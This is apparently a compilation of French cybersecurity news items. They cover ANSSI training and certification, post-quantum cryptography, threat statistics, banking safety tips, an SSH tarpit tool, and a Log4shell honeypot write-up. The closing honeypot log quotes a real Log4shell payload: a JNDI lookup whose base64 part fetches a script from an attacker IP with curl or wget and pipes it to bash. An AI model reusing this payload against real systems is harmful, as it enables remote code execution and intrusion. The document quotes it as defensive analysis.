Le constat est partagé depuis plusieurs années : il y a un cruel manque de professionnels dans le monde de la sécurité du numérique, et pourtant la cybersécurité est une filière d’avenir !

En tant qu’autorité nationale de la sécurité des systèmes d’information, l’ANSSI, au travers de son Centre de formation à la sécurité des systèmes d’information (CFSSI), a mis en place des dispositifs pour impulser, encourager et reconnaître les initiatives en matière de développement de formations à la sécurité des systèmes d’information.

Les labels de l’ANSSI – et plus largement l’ensemble de l’offre de formation de l’agence – a pour volonté de guider les entreprises dans leur politique de recrutement, d’accompagner les porteurs de formation et d’encourager les étudiants ou les salariés en reconversion.

Plus précisément, l’ANSSI a lancé en 2017 l’initiative SecNumedu, qui labellise des formations d’enseignement supérieur spécialisées en cybersécurité dès lors qu’elles répondent à une charte et des critères définis en collaboration avec les acteurs et professionnels du domaine. Actuellement, il existe 47 formations initiales labellisées, réparties sur l’ensemble du territoire. Le label SecNumedu-FC se concentre, quant à lui, sur les formations continues courtes. Il a déjà permis de labelliser 30 formations.

Le Centre de formation à la sécurité des systèmes d’information (CFSSI) de l’ANSSI propose également des formations dispensées par un grand nombre de ses experts au profit des agents de la fonction publique, des OIV et des OSE, sous la forme de stages courts et d’un cycle long permettant d’obtenir le titre d’expert en sécurité des systèmes d’information (ESSI).

Offrir à chacun la possibilité de s’initier à la sécurité du numérique

Grandement corrélées à la numérisation de nos sociétés, les cybermenaces ont un impact croissant sur nos vies. Il est donc essentiel de former le plus grand nombre de citoyens aux enjeux de la cybersécurité.

L’ANSSI a lancé un ambitieux programme de sensibilisation au travers de son premier cours en ligne, le MOOC SecNumacadémie, afin que chacun puisse devenir acteur de sa sécurité numérique.

Étudiants, salariés, dirigeants d’entreprise ou particuliers : le MOOC SecNumacadémie de l’ANSSI s’adapte aux besoins de différents publics, non experts, en proposant des contenus pédagogiques ludiques et accessibles à tout moment gratuitement.

En 3 ans, plus de 250 000 personnes se sont déjà inscrites au MOOC, afin d’être initiées à la cybersécurité ou d’approfondir leurs connaissances, afin de pouvoir agir efficacement sur la sécurité de leurs systèmes d’information (SSI).

Acculturer dès l’école aux enjeux de cybersécurité

Dernier constat et non des moindres, il est essentiel d’intégrer dès le plus jeune âge les bases de la sécurité informatique – à l’école d’abord. Depuis avril 2019, l’ANSSI et le ministère de l’Education nationale, de la Jeunesse et des Sports (MENJS) s’associent dans un but commun : œuvrer à la meilleure formation des jeunes aux enjeux de cybersécurité et encourager les vocations dans le domaine.

L’ANSSI a ainsi contribué à la mise en place avec le service public en ligne PIX d’un référentiel des compétences en cybersécurité. Rappelons que la certification PIX est désormais obligatoire pour tous les élèves de 3e et de Terminale.

L’agence a également créé un kit d’aide à la création de jeux sur la cybersécurité, destiné aux enseignants et élèves de collège et de lycée. Co-conçu par le laboratoire d’innovation de l’ANSSI et le 110 bis, laboratoire d’innovation du ministère de l’éducation nationale, ce kit CyberEnJeux a déjà permis à plus de 300 élèves de s’acculturer au domaine de la cybersécurité lors de la première expérimentation menée entre octobre 2021 et janvier 2022.

Enfin, cette intégration des bases de la sécurité informatique peut également être effectuée au sein de l’enseignement supérieur. C’est exactement l’objectif de l’association CyberEdu, visant à proposer des contenus pédagogiques et des ressources aux porteurs de formations d’enseignement supérieur en informatique, non spécialisées en cybersécurité, afin de sensibiliser leurs élèves à ce domaine et d’intégrer des cours sur la sécurité informatique, dans leur parcours universitaire.

Le Campus Cyber, un tremplin pour fédérer les énergies au service de la formation à la SSI

Afin de promouvoir l’excellence française en matière de cybersécurité, il est nécessaire de fédérer les talents et les acteurs du secteur dans un lieu commun, autour des mêmes valeurs : le partage, l’excellence et la confiance. Toutes les parties prenantes en ont conscience. Pour favoriser cette dynamique vertueuse, le Centre de formation à la sécurité des systèmes d’information (CFSSI) s’installera prochainement au Campus Cyber, lieu totem de la cybersécurité où sont rassemblés les principaux acteurs nationaux et internationaux du domaine.

L’intégration au Campus contribuera à renforcer le développement des partenariats avec les entités présentes au Campus, favorisant les synergies entre les acteurs publics, les écoles, les entreprises et les laboratoires de recherche, afin de renforcer la montée en compétence de l’écosystème, susciter des vocations dans une filière très en demande et attirer les talents de demain. L’ANSSI engagera toute son expertise et son expérience, fruit des travaux menés depuis plus de 10 ans en collaboration avec tous les acteurs du secteur.

Pour en savoir plus, retrouvez ci-dessous :

• Le catalogue des stages proposés par le CFSSI
• Le Titre ESSI
• SecNumedu, labellisation de formations initiales en cybersécurité de l’enseignement supérieur
• SecNumedu-FC, labellisation de formations continues en cybersécurité
• CyberEdu, sensibilisation pour les formations en informatique
• SecNumAcadémie, la formation en ligne sur la sécurité informatique gratuite et ouverte à tous
• CyberEnJeux : au collège et au lycée, former à la cybersécurité par le jeu.

La fraude à la fracture est une des fraudes les plus répandues dans le monde des entreprises. Certaines perdent plusieurs centaines de milliers d’euros avant de prendre les mesures adéquates pour se protéger. Alors même qu’il est si simple de ne pas tomber dans le piège des fraudeurs et que c’est gratuit. Dans cet épisodes, nous vous détaillons les techniques de fraudeurs et vous donnons les moyens de vous protéger. N’hésitez pas à faire écouter cet épisode à toutes les personnes qui ont accès aux comptes de l’entreprise.

Suivez-nous sur les grandes plateformes de podcast en cherchant ‘Le Fraudeur, le Hacker et Vous’.

Nous sommes aussi sur Instagram : https://www.instagram.com/le_fraudeur_le_hacker_et_vous/

Jugement bol.com vs Brabantia (NL): https://uitspraken.rechtspraak.nl/inziendocument?id=ECLI%3ANL%3ARBMNE%3A2021%3A1528

Version néerlandophone du podcast : https://anchor.fm/fraudeur-hacker-en-jij

Les ordinateurs sont de bien utiles compagnons : ils permettent de résoudre de nombreux problèmes auxquels nous sommes confrontés. Fort heureusement, il existe aussi des problèmes hors d’atteintes pour ces derniers. Pensons à nos cartes bleues : il serait problématique qu’un ordinateur soit en mesure de retrouver notre code… C’est justement la menace que fait désormais peser l’ordinateur quantique, un nouveau type d’ordinateur actuellement en conception et reposant sur les lois de la physique quantique.

Heureusement, ce nouvel ordinateur ne signe pas pour autant la fin de la sécurité liée à nos cartes bleues, et de façon plus générale la sécurité numérique. Il existe en effet des problèmes difficiles même pour un ordinateur quantique. La cryptographie post-quantique propose justement de les étudier et de les exploiter afin d’assurer notre sécurité numérique de demain !

Tasse, algorithmes et cryptographie

Nos vies sont aujourd’hui rythmées par les ordinateurs. La raison du succès de ces machines modernes est plutôt simple : elles nous aident à résoudre rapidement de nombreux problèmes du quotidien. Par exemple, étant donné une carte routière ou géographique, comment trouver le chemin le plus court pour aller d’un point A à un point B ? La réponse est finalement plutôt simple : posons la question à notre smartphone ! Ces petits ordinateurs peuvent calculer très rapidement « tous » les chemins possibles et donc nous répondre instantanément. Dès lors, il n’y a plus qu’un pas pour penser que nos compagnons peuvent résoudre presque tout problème imaginable…

Malheureusement, il n’en est rien. Les ordinateurs s’avèrent même extrêmement rapidement limités. Prenons une tasse de café tombant de notre main un matin. Notre smartphone pourra-t-il prédire en combien de morceaux notre tasse favorite va-t-elle se casser ? La tâche semble difficile, même avec une application dédiée. En effet, réaliser une telle simulation demanderait un temps bien trop important à notre téléphone et même un supercalculateur n’y suffirait pas : le nombre de dimensions impliquées dans ce problème est bien trop élevé.

La solution n’est pas à chercher non plus du côté de l’évolution technologique. Même si nous dépassons les espérances de la fameuse Loi de Moore (qui prédit un doublement de notre puissance de calculs tous les deux ans), il faudrait encore attendre des centaines d’années avant d’être en mesure de donner une réponse satisfaisante à notre problème. À l’inverse, nous avons un moyen simple d’y répondre sans avoir recours à la technologie : il suffit de se baisser et de compter les morceaux. Un exercice certes fastidieux, mais qui paraît dans nos cordes…

Cette métaphore de la tasse est inspirée d’une vidéo de Richard Borcherds, médaille Fields, en réaction aux récentes annonces de suprématie quantique, c’est-à-dire la réalisation par un ordinateur quantique d’une tâche inaccessible à un ordinateur classique (ce dont nous reparlerons un peu plus loin).

Or, le fait qu’il existe des problèmes qu’un ordinateur, et même tous les ordinateurs terrestres réunis, n’est pas en mesure de résoudre en un temps raisonnable est le principe fondateur d’une grande partie de la cryptographie moderne, science du secret nous permettant la sécurité numérique. Il existe quantité de problèmes qui sont présumés appartenir à cette catégorie, les plus célèbres dans le cadre de la cryptographie étant ceux dits de la factorisation des entiers et du logarithme discret. Un pan entier de la sécurité numérique repose sur leur difficulté, comme les cartes bleues, nos mises à jour logiciel…

L’écueil des ordinateurs quantiques

Malheureusement, les avancées en physique quantique laissent entrevoir l’arrivée d’un nouvel outil qui pourrait bouleverser l’ordre établi : l’ordinateur quantique. Cet ordinateur « nouvelle génération », n’ayant pas grand-chose à voir avec nos ordinateurs, fonctionnerait en remplaçant les bits, ces 0 et ces 1 qui constituent le langage universel de toutes les machines autour du globe, par des qubits, objets issus des principes de la physique quantique et qui représentent à la fois un 0 et un 1 en « superposition ».

Cette différence fondamentale offre de nouvelles possibilités algorithmiques puissantes, comme l’a démontré P. Shor en 1994, en prouvant qu’un ordinateur quantique fonctionnel (c’est-à-dire un ensemble de qubits sur lequel on serait capable d’effectuer un certain nombre d’opérations prédéfinies) était en mesure de résoudre les problèmes de la factorisation et du logarithme discret bien plus efficacement que ne le pourrait jamais un ordinateur classique. Adieu nos cartes bleues ! Depuis, d’autres domaines où les ordinateurs quantiques pourraient s’avérer révolutionnaires ont été découverts, de façon plus positive cette fois. C’est par exemple le cas de la chimie où le calcul quantique pourrait permettre d’améliorer la modélisation des états d’une molécule.

Aujourd’hui, nous sommes encore loin d’avoir un ordinateur quantique fonctionnel : ces fameux qubits sont difficiles à manipuler et la route est encore longue à la fois sur le plan théorique et pratique. Les annonces de suprématie quantique dont nous parlions plus haut, c’est-à-dire la réalisation d’une tâche avec un ordinateur quantique qui est hors d’atteinte de nos ordinateurs du quotidien, concernaient en réalité des problèmes qui avaient été spécialement conçus dans le but même d’être plus faciles pour un ordinateur quantique que pour un ordinateur classique. Les applications prometteuses des ordinateurs quantiques, par exemple casser notre sécurité numérique, restent pour l’instant hors de portée des acteurs les plus avancés.

Les efforts investis dans la poursuite de la suprématie quantique sont cependant à la hauteur de la tâche, et une véritable course est lancée entre les grands acteurs du domaine, comme Google ou IBM. La menace n’est donc pas à prendre à la légère pour les cryptographes : on pourrait bien voir arriver un ordinateur quantique fonctionnel d’ici une dizaine d’années.

La cryptographique post-quantique

« Est-ce donc la fin de la cryptographie ? » pourrait-on alors se demander. Fort heureusement, la réponse à cette question est sans doute non. Car tout comme les ordinateurs classiques, les ordinateurs quantiques ne sont pas tout-puissants. C’est précisément le postulat sur lequel se fonde une nouvelle branche de la cryptographie : la cryptographie post-quantique. Celle-ci a pour but d’étudier de nouveaux problèmes mathématiques qui seraient durs à la fois pour les ordinateurs classiques, mais aussi pour les ordinateurs quantiques.

Récemment, le NIST, institut de standardisation américain, a lancé une compétition dans le but d’identifier et de standardiser les candidats prometteurs. Après plusieurs tours d’écrémage successif, la compétition va bientôt arriver à son terme et l’annonce des premières solutions soumises à la standardisation devrait tomber dans les mois à venir. De la multitude de propositions initiales ont émergées plusieurs grandes familles, dont les plus notables sont sans doute les cryptographies à base de réseaux euclidiens et de codes correcteurs, mêlant efficacité, compacité et bonne expérience des problèmes mathématiques sous-jacents.

Cependant, en cryptographie traditionnelle comme post-quantique, rien n’est gravé dans le marbre. On ne peut pas exclure la possibilité de voir, demain ou dans six mois ou un an, arriver un groupe d’individus avec un nouvel algorithme qui permettrait de casser un problème sur lequel se fonde la cryptographie post-quantique. Nous en avons eu la preuve récemment avec l’un des protocoles finalistes de la compétition du NIST, dont la sécurité vient d’être sérieusement remise en cause par une nouvelle attaque, prouvant que la sécurité numérique induite par un tel système ne serait pas assurée.

Ceci est d’autant plus vrai que la cryptographie post-quantique doit se prémunir d’une menace encore plus sérieuse : les ordinateurs quantiques eux-mêmes ! Or nous sommes bien loin d’avoir compris toutes les possibilités de ces nouvelles machines. Cela justifie le besoin d’avoir des solutions de repli et c’est pour cela que d’autres familles d’objets mathématiques tels que les systèmes multivariés ou encore les isogénies sont aussi étudiées de très près.

En résumé, l’établissement de notre future sécurité numérique soulève encore de nombreuses questions ! Comme cela est illustré par l’appel du NIST, les scientifiques sont à pied d’œuvre pour proposer des solutions à la fois sûres et efficaces, prêtes à être déployées sur nos ordinateurs et smartphones dans les prochaines années.

Thomas Debris-Alazard a reçu des financements de l'Agence Nationale de la Recherche (ANR JCJC COLA) pour ses travaux en cryptographie post-quantique

Antonin Leroux does not work for, consult, own shares in or receive funding from any company or organization that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

Plus protecteur face aux lois extra-européennes

La version 3.2 de SecNumCloud explicite des critères de protection vis-à-vis des lois extra-européennes. Ces exigences garantissent ainsi que le fournisseur de services cloud et les données qu’il traite ne peuvent être soumis à des lois non européennes. SecNumCloud 3.2 intègre également le retour d’expérience des premières évaluations et précise l’exigence relative à la mise en œuvre de tests d’intrusion tout au long du cycle de vie de la qualification. Concernant les solutions déjà qualifiées SecNumCloud, elles conservent leur Visa de sécurité et l’ANSSI accompagnera si nécessaire les entreprises concernées pour assurer la transition.

« Afin de favoriser un environnement numérique protecteur et en phase avec les évolutions technologiques, y compris pour les données et les applications les plus critiques, l’identification des services cloud de confiance est indispensable. La qualification SecNumCloud contribue à répondre à ce besoin en attestant d’un très haut niveau d’exigence en matière de sécurité numérique, tant du point de vue technique qu’opérationnel ou juridique » précise Guillaume Poupard, directeur général de l’ANSSI.

La stratégie d’évaluation SecNumCloud

Tous les services de Cloud peuvent prétendre à la qualification SecNumCloud. En effet, la qualification est adaptable aux différentes offres : SaaS (Software as a Service), PaaS (Plateform as a Service) et IaaS (Infrastructure as a Service)… Plus avant, la qualification d’une offre SaaS qui s’appuierait sur un socle déjà reconnu SecNumCloud se concentrera uniquement sur les développements propres au service en bénéficiant des travaux génériques réalisés sur le niveau de sécurité du socle qualifié, facilitant ainsi l’évaluation et son accessibilité, y compris pour les acteurs de taille modeste.

Afin d’établir une évaluation objective d’écart entre l’existant et le niveau requis par la qualification SecNumCloud, l’ANSSI va accompagner ses partenaires industriels avec qui elle entretient déjà d’étroits liens de confiance et leur recommander de se rapprocher des centres d’évaluation accrédités.

En ligne avec les propositions françaises sur le niveau élevé du schéma de certification européen pour les fournisseurs de services cloud

Pour éviter la fragmentation du marché, et en application du Cybersecurity Act de 2019, une harmonisation des mécanismes d’évaluation au niveau européen est en cours. Depuis 2019, la France est fortement impliquée dans l’élaboration du schéma de certification européen relatif aux prestataires de cloud (EUCS). Dans ce cadre, SecNumCloud 3.2 s’inscrit en pleine cohérence avec les travaux européens et sert de référence dans les travaux sur le niveau « élevé » de cette future certification.

Conforme aux exigences européennes relatives à la protection des données personnelles et aux suites de l’arrêt «Schrems II»

L’arrêt « Schrems II » de la Cour de justice de l’Union européenne a rappelé l’exigence de garantir une protection équivalente à celle offerte par le règlement général sur la protection des données (RGPD) lorsque des données personnelles de citoyens européens sont transférées hors de l’Union européenne (UE). Par ailleurs, et indépendamment de l’existence de transferts, certaines législations extraterritoriales n’offrant pas un niveau de protection essentiellement équivalent à celui garanti par le RGPD peuvent s’appliquer aux données stockées par les fournisseurs de cloud sur le territoire de l’UE. SecNumCloud 3.2 fournit à cet égard des garanties fortes en matière de protection vis-à-vis des législations non-européennes à portée extraterritoriale. Ces garanties permettront aux clients des offres de cloud qualifiées d’assurer leur conformité aux suites de l’arrêt « Schrems II » tout en écartant le risque d’un accès étranger incompatible avec le RGPD.

« Alors que la décision de la CJUE demande une analyse au cas par cas qui peut s’avérer complexe, le référentiel SecNumCloud 3.2 fournit une réponse qui est conforme by design aux exigences de la Cour en matière de protection des données dans le cloud. La CNIL recommande l’usage de ce référentiel pour les responsables de traitement qui veulent garantir un haut niveau de protection des données personnelles » indique Marie-Laure Denis, présidente de la Commission nationale de l’informatique et des libertés (CNIL).

Des cyberattaques nombreuses aux finalités diverses : gains financiers, espionnage, déstabilisation, sabotage

Alors que les années 2019 et 2020 avaient été marquées par une explosion des rançongiciels, cette menace s’est stabilisée, à un niveau néanmoins très élevé, entre 2020 et 2021, avec 203 attaques traitées contre 192 en 2020. Entitées touchées en premier lieu par les rançongiciels, les TPE, PME et ETI représentent 34% des victimes en 2021 (+53% par rapport à 2020) et sont suivies par les collectivités (19%) et les entreprises stratégiques (10%).

Ces attaques à finalité lucrative qui ont occupé le devant de la scène médiatique ne doivent pas occulter les campagnes d’espionnage et de sabotage, particulièrement préoccupantes. Les opérations d’espionnage informatique restent en effet la principale finalité poursuivie par les attaquants réputés étatiques et constituent l’essentiel de l’activité traitée dans le cadre des opérations de cyberdéfense conduites par l’ANSSI. Cette menace concerne autant les acteurs institutionnels que les acteurs privés.

Le ciblage d’infrastructures critiques est également une préoccupation majeure. Certes, les cybercriminels réduisent leur ciblage d’infrastructures critiques afin de gagner en discrétion et de moins s’exposer à des mesures répressives des Etats. Toutefois, le ciblage d’infrastructures critiques par des acteurs de niveau étatique continue, plus particulièrement dans le cadre de tensions géopolitiques exacerbées.

Enfin, l’ANSSI constate que de plus en plus d’actions de déstabilisation débutent par des compromissions informatiques. Ces dernières permettent ainsi d’exfiltrer des documents qui peuvent être divulgués en l’état, voire modifiés pour déstabiliser une organisation, une personnalité exposée ou encore un État. 39 divulgations de données à des fins de déstabilisation ont été signalées à l’ANSSI en 2021.

De failles de mieux en mieux exploitées

Malgré les publications sur les vulnérabilités découvertes, les organisations qui n’appliquent pas à temps les correctifs restent trop nombreuses. Cela laisse le champ libre aux attaquants pour les exploiter. L’année 2021 a connu une explosion du nombre de vulnérabilités 0-Day exploitées, utilisées en majorité par des acteurs présumés étatiques mais également par quelques groupes cybercriminels.

Les attaques ciblant la chaine d’approvisionnement (supply chain), continuent de croître, avec plus de 24 attaques documentées, entre janvier 2020 et juillet 2021, d’après l’Agence européenne chargée de la sécurité des réseaux et de l’information (ENISA). Constat partagé par l’ANSSI qui a traité 18 compromissions affectant des entreprises de service numérique (ESN) en 2021 contre 4 en 2020. Ce ciblage accru des fournisseurs de services numériques présente des risques nouveaux puisque leurs outils numériques peuvent devenir des vecteurs de propagation rapide d’une cyberattaque et entraîner des compromission en cascade.

Les nouveaux usages numériques comme le Cloud sont également exploités par les cyberattaquants. La crise sanitaire ayant accéléré son usage dans les secteurs public et privé, l’utilisation généralisée du Cloud augmente mécaniquement le niveau de menace et la surface d’attaque. En effet, des défauts de sécurisation des données sont encore trop souvent constatés dans l’activité opérationnelle de l’ANSSI.

Enfin, la multiplication des divulgations de données facilite la conduite de nombreuses attaques informatiques. En effet, les données exfiltrées contiennent fréquemment des données d’authentification sur des systèmes d’information et fournissent donc une porte d’entrée idéale aux attaquants opportunistes. Le renforcement de la cybersécurité de ces données doit donc être une priorité.

Des attaquants de plus en plus performants

Dans le domaine de la cybercriminalité, la spécialisation et la professionnalisation des attaquants s’explique notamment par les gains financiers accumulés. Un véritable écosystème cybercriminel aux ressources considérables s’est ainsi progressivement constitué et perfectionné, ce qui lui permet de conduire des attaques sophistiquées. Aussi, les cybercriminels adoptent maintenant les modes opératoires habituels des attaquants réputés étatiques : préparation minutieuse de leurs opérations, persistance sur les réseaux des victimes, recherche de ressources d’intérêt, exploitation de vulnérabilités inconnues (ou 0-Day) ou connues mais dont les correctifs n’ont pas encore été appliqués sur les systèmes des potentielles victimes.

Quant aux cyberattaquants réputés étatiques, leurs compétences ne cessent de se développer, tout comme leur furtivité. En effet, pour mieux dissimuler leurs actions, les attaquants réputés étatiques s’inspirent directement des méthodes cybercriminelles en s’appropriant des codes et outils, traditionnellement utilisés à des fins lucratives tels que des rançongiciels ou des logiciels d’hameçonnage. Outre une rationalisation des coûts, cela permet aux Etats de nier de façon plausible toute implication.

Cette convergence des méthodes et outils utilisés par plusieurs profils d’acteurs malveillants complexifie la caractérisation précise des activités malveillantes et limite donc les possibilités d’imputation à des acteurs identifiés.

Enfin, le développement de capacités par les entreprises privées spécialisées participe directement à l’amélioration des capacités offensives d’acteurs n’ayant pas les moyens de les développer en interne ou ne souhaitant pas s’exposer directement. Cette mise à disposition de capacités avancées participe ainsi à la hausse générale du niveau de menace en multipliant ses sources et en favorisant un ciblage décomplexé.

Devenus l’affaire de tous, les cyberattaques n’épargnent aucun secteur d’activité. Tous les acteurs, qu’ils soient publics ou privés ont la main sur tous les outils pour y faire face : mettre en œuvre les mesures de cybersécurité adaptées, élever leur niveau de vigilance, sensibiliser leurs collaborateurs aux risques et s’exercer à la réaction en cas d’attaque. Afin d’endiguer les cyberattaques et de protéger leur activité et leurs données, il est, plus que jamais, essentiel que les organisations consentent les investissements, humains et financiers, nécessaires à leur sécurisation.

« Ce panorama met en lumière une menace complexe, professionnelle, aux intentions hétérogènes et en perpétuelle évolution. Notre travail de sensibilisation et d’accompagnement, auprès des entreprises et des administrations, a pour objectif d’élever, au sein de toute la Nation, la prise en compte du risque cyber au juste niveau, ce qui n’est pas encore le cas. A l’aune d’évènements majeurs tels que les élections qui se tiennent de cette année et des tensions internationales actuelles, la responsabilisation et la vigilance accrue de toutes les parties prenantes est indispensable pour faire face à cette menace. » commente Guillaume Poupard, Directeur général de l’ANSSI.

Benjamin Mercusot répond à nos questions sur les principales menaces liées à la cybersécurité en 2021 et celles auxquelles nous ferons face en 2022. Basé sur le rapport des menaces récemment publiées par Sophos, ce dialogue permet de mieux comprendre l'actualité de la cybersécurité et de se poser les bonnes questions quand on cherche à se prémunir des attaques des cyberpirates. Bref, à écouter en urgence !

L’archivage des certificats CSPN permet de prendre en compte l’évolution rapide et constante de la menace et des techniques d’attaques.

La période de validité d’un certificat CSPN est désormais fixée à 3 ans, il est ensuite automatiquement archivé.
Cette action du centre de certification national permet d’assurer la cohérence avec les dispositions prises par le Cybersecurity Act, dans la perspective que cette méthodologie d’évaluation corresponde dans les années à venir à un nouveau schéma européen.

Cette démarche s’inscrit également dans le cadre de la prochaine ratification de l’accord de reconnaissance franco-allemand des certificats CSPN et de leurs équivalents allemands BSZ (Beschleunigte Sicherheitszertifizierung, Accelerated Security Certification) ; où les certificats BSZ ont une période de validité de 2 ans.

Messages de phishing universels, phishing par SMS, messages liés à l’actualité, robots fraudeurs, ces nouvelles techniques ont toutes le même but: nous voler notre argent. Nous vous expliquons comment les fraudeurs vont essayer de vous manipuler et surtout les trucs pour les repérer et ne pas tomber dans leurs pièges.

Une application gratuite qui pousse des alertes pour ma sécurité sur l’écran verrouillé de mon smartphone ?

Le Centre pour la Cybersécurité Belgique (CCB) met l’application Safeonweb à disposition de tous les résidents en Belgique.

Vous voulez savoir comment l’installer, la configurer mais aussi quels sont ses avantages ? 

Tout est expliqué dans cet épisode de votre podcast Le Fraudeur, le Hacker et Vous.

Téléchargez l'application Safeonweb pour Android.

Téléchargez l'application Safeonweb pour iPhone.

Suivez-nous sur YouTube.

Auteur(s) : Mathieu Cunche;

Depuis l'entrée en vigueur du RGPD, la protection des données personnelles est strictement encadrée. Malgré cela, les fuites de données demeurent monnaie courante avec l'avènement des technologies sans fil... Que peut-on faire contre l'essor du traçage cyberphysique ? Découvrez les enjeux juridiques et technologiques autour de cette question.

Après une première année prolifique, nous lançons la seconde saison de votre podcast « le fraudeur, le hacker et vous » repensée avec des nouveautés pour tous, y compris pour les entreprises. 

N’oubliez pas de vous abonner ;-)

En tant que client de la banque, vous avez un rôle essentiel à jouer dans l’utilisation sécurisée des services de banque à distance. Alors que les pirates informatiques ne cessent de renouveler leurs modes opératoires, ce guide, élaboré avec la Police Judiciaire, donne des préconisations précises et concrètes : respecter les consignes de votre banque, faire attention à vos mots de passe et codes d’accès, suivre vos comptes régulièrement…

Janvier 2022

1. Je consulte régulièrement les consignes de sécurité de ma banque
2. Je choisis avec soin mon mot de passe
3. Je garde secrets mes codes d’accès
4. Je ne me connecte jamais à partir d’un courrier électronique ou SMS
5. Je contacte ma banque en cas de doute
6. Je consulte régulièrement mon compte
7. Je signale rapidement toute anomalie
8. Je réagis en cas d’activité suspecte sur mon téléphone
9. Je protège mon matériel
10. Je sécurise mes connexions

Voir les actions

• Aimer cet article
• Enregistrer cet article
• Partager cet article

2 Min

La sécurité

L'authentification forte pour tout achat en ligne

Voir les actions

• 1

  Aimer cet article
• Enregistrer cet article
• Partager cet article

2 Min

La sécurité

Les précautions de conservation de ses moyens de paiement

Voir les actions

• 1

  Aimer cet article
• Enregistrer cet article
• Partager cet article

3 Min

La sécurité

Les précautions pour déjouer les arnaques

Voir plus sur la gauche Voir plus sur la droite

The post Banque à distance – 10 réflexes sécurité appeared first on Les clés de la banque - Particulier.

Si vous avez un serveur Linux avec un port SSH exposé sur Internet, vous avez probablement pu constater que celui-ci était en permanence attaqué par des tentatives d'attaque de type force brute utilisant des listes de mots de passe communs.

Comment se protéger des attaques SSH par Bruteforce ?

Pour remédier à ces tentatives attaques, vous avez plusieurs possibilités :

• La première consiste tout simplement à filtrer les adresses IP pouvant accéder au serveur SSH uniquement à une liste d'IP connues (IP box, IP VPN ...).
• La seconde consiste à mettre en place le logiciel Fail2ban pour bannir automatiquement les attaquants après 3 ou 4 tentatives infructueuses d'authentification.
• La troisième est d'utiliser une authentification à base de certificat.
• La dernière consiste à déplacer votre serveur SSH sur un autre port plus exotique et de déployer le logiciel Endless SSH sur le port 22 (ou Portsentry)

Et si vous êtes un paranoïaque de sécurité informatique, vous pouvez aussi réaliser ces 4 solutions.

Comment fonctionne Endlessh ?

Endlessh est un logiciel très simpliste qui expose un faux serveur SSH avec une bannière d'une longueur infinie qui n'offre aucun prompt d'authentification au client du service.

Cette bannière infinie et générée sur la base de caractères aléatoires bloquera les clients SSH qui essaient de vous attaquer. Ces clients attendront pendant plusieurs heures ou jours un prompt d'authentification du service.

Si le logiciel de l'attaquant ne prend en compte de timeout, Endlessh vous permettra d'emmerder tout simplement les personnes qui réalisent des bruteforces SSH sur Internet, et ils sont nombreux ...

Comment installer Endlessh ?

Endlessh est un simple code C de 800 lignes. Un "make" vous permettra de construire le binaire après un git clone du repository GitHub.

Pour installer Endlessh sous forme de service Linux, le projet Endlessh sur Github dispose d'un template de service vous permettant de démarrer automatiquement Endlessh à chaque redémarrage de serveur.

Si vous lancez le binaire en ligne de commande, les options de lancement sont simplistes :

Usage: endlessh [-vhs] [-d MS] [-f CONFIG] [-l LEN] [-m LIMIT] [-p PORT]
  -4        Bind to IPv4 only
  -6        Bind to IPv6 only
  -d INT    Message millisecond delay [10000]
  -f        Set and load config file [/etc/endlessh/config]
  -h        Print this help message and exit
  -l INT    Maximum banner line length (3-255) [32]
  -m INT    Maximum number of clients [4096]
  -p INT    Listening port [2222]
  -s        Print diagnostics to syslog instead of standard output
  -v        Print diagnostics (repeatable)

Voici ma découverte du week-end. N'hésitez pas à rejoindre le serveur Discord Geeek pour venir discuter Cybersécurité avec la communauté Geeek.

Bulletin d’actualité du 20/12/2021 Nous voici de nouveau ensemble dans notre rendez-vous de fin de semaine pour revenir sur les différents bulletins de sécurité publiés par le CERT-FR ! Durant la période du 13 décembre au 19 décembre 2021 le CERT-FR (Centre gouvernemental de veille, d’alerte et de réponse aux attaques informatiques en France) a …

L’article Bulletin d’actualité du CERT-FR – 20/12/2021 est apparu en premier sur Tech2Tech | News, Astuces, Tutos, Vidéos autour de l'informatique.

Vous avez probablement déjà dû entendre l'annonce des différentes failles de sécurité découvertes autour de la librairie Java Log4J ?

Je ne vais pas revenir sur cette faille majeure qui permet très facilement à un hacker d'injecter du code malveillant dans une application Java. La faille découverte est très critique et remet en question la sécurité de nombreux systèmes d'information utilisant des middlewares Java utilisant la librairie Log4J comme solution de journalisation.

Suite à l'annonce de cette faille, j'ai développé le week-end dernier un HoneyPot (Pot de miel) capable d'intercepter des attaques Log4shell et de les journaliser afin de permettre :

• D'analyser la structure des requêtes HTTP des tentatives d'attaques.
• De mieux comprendre la structure des scripts malveillants provenant de botnets exploitant cette faille.
• De suivre l'évolution de l'exploitation de cette faille sur Internet.

Mon HoneyPot Log4shell en PHP

Pour gagner du temps, j'ai développé un HoneyPot Log4shell en PHP minimaliste capable d'analyser la présence du caractère "dollar" dans tous les champs des requêtes HTTP entrantes sur le serveur. Je le reconnais, cette approche est simpliste, mais très efficace et ce script a comme avantage de détecter toutes les tentatives d'obfuscation.

Configuration du serveur Web

Les attaques de botnets se faisant principalement via des scans de plages d'adresses IP, pour que ce script soit opérationnel, il faut donc qu'il soit déployé dans le vhost par défaut d'un serveur Web et qu'il réponde à toutes les requêtes entrantes sur l'adresse IP publique du serveur http://x.x.x.x

Cela peut se faire sur Nginx au travers de la commande "default_server".
En complément, pour que le script puisse répondre à toutes les requêtes, une instruction "try_files" permet de transmettre au script PHP toutes les requêtes HTTP infructueuses afin de capturer toutes les tentatives d'attaque sur des chemins autres que la racine.

server {
        listen 80 default_server;
        root /var/www/default/public_html/;
        
        location / {
                try_files $uri $uri/ /index.php?$args;
        }
}

Mes résultats après plusieurs jours d'écoute

Contre toute attente, j'ai reçu assez peu de tentatives d'intrusions. Au total j'ai recensé 3 adresses IP différentes ayant essayé de s'introduire sur mon serveur au travers de la faille Log4shell.

Cela signifie que l'exploitation de la faille Log4shell n'est pas encore largement exploitée par des botnets sur la toile. Le cas échéant, mon serveur aurait capturé beaucoup plus de tentatives provenant d'adresses IP différentes ...

Le premier attaquant Russe

Je reçois des tentatives d'attaques journalières provenant d'un serveur russe blacklisté sur AbuseIPDb.

Voici les logs obtenus par mon HoneyPot :

195.54.160.x:HTTP_REFERER:http://163.172.58.13:80/?x=${jndi:ldap://195.54.160.x:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNjMuMTcyLjU4LjEzOjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzE2My4xNzIuNTguMTM6ODApfGJhc2g=}

